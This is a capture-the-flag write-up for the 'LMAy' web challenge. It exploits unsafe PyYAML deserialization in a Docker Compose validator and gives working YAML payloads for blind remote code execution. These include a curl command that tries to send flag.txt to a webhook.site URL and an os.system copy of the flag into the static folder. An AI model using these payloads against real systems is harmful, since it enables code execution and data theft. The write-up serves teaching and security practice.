Logo

Writeup

LMAy FlagYard — Writeup

0 0xAsta
January 3, 2026
3 min read
web python yaml deserialization blind-rce

LMAy Challenge — Writeup

This writeup details the solution for the “LMAy” web challenge. The target is a “Docker Compose Validator” that processes user-submitted configuration files. The challenge involves identifying an Insecure Deserialization vulnerability in the backend and leveraging it to bypass network restrictions and retrieve the flag.

Summary

The target is a web application accessible via HTTP. To retrieve the flag, we must bypass the validation logic by injecting a malicious payload into the YAML input.

The application allows users to paste a docker-compose.yml file. Behind the scenes, the backend (Python) uses the unsafe yaml.load() method. I needed to:

  1. Identify the vulnerability: Detect the use of unsafe YAML parsing.
  2. Achieve RCE: Inject a Python-specific tag to execute commands.
  3. Bypass Blindness: Overcome the lack of direct output and outbound network access.
  4. Exfiltrate: Move the flag to a publicly accessible directory.
Challenge Interface

Analysis

The core logic of the challenge lies in how the application parses the input configuration.

Vulnerability Detection

The application name “LMAy” is an anagram for YAML. A common vulnerability in Python web apps processing YAML is the use of PyYAML’s unsafe loader. I tested this hypothesis using a timing attack payload.

The Recon Payload:

# The Recon Payload
!!python/object/apply:time.sleep [5]

The server responded with a delay, confirming two things:

  • The backend is Python.
  • The yaml.load() function is being used (Unsafe Deserialization), allowing the instantiation of arbitrary Python objects.

Exploitation and Flag Recovery

I encountered a “Blind RCE” scenario. While the server executed my commands, it did not display the output (e.g., the flag text) in the HTTP response. It simply returned “Docker Compose file is valid!” if the command ran successfully.

1. Failed Exfiltration Attempts

I initially attempted to send the flag to an external server (Out-of-Band exfiltration) to bypass the lack of output.

# Attempting to send flag to a webhook
image: !!python/object/apply:os.system ["curl -X POST -d @flag.txt https://webhook.site/uuid"]

This resulted in a “Valid” message but no request to my webhook. This confirmed that the container likely had no outbound internet access or lacked the curl binary.

Failed Exfiltration Attempt

I also attempted exec payloads to run complex Python logic, but these resulted in 500 Internal Server Errors, likely due to exec not returning a valid object for the YAML parser.

2. The “Static File” Strategy

Since I could not connect out and could not see the output, I utilized the web server itself. Most web frameworks serve static files (CSS, JS, images) from a static/ or public/ directory.

I constructed a payload to copy the flag from the root directory to the static directory, allowing me to download it via the browser.

The Final Payload:

version: '3'
services:
steal:
image: !!python/object/apply:os.system ["cp flag.txt static/flag.txt"]
Final Payload Submission

3. Execution

I submitted the payload to the validator.

  • Server Response: Docker Compose file is valid! 🎉
  • Action: I navigated to http://<challenge-url>/static/flag.txt in the browser.
  • Result: The file downloaded successfully.
Flag File Download

Final Result

Flag: FlagY{[REDACTED]}

Notes

The challenge demonstrates that “Blind” vulnerabilities do not always require network interactions to be exploited. By leveraging the internal file structure of the web application (static/ folders), I turned a blind RCE into a simple file download.

FR to get the path of flag i just guessed it so i tried at first flag.txt since almost the path of this code is in the same of flag path so that’s it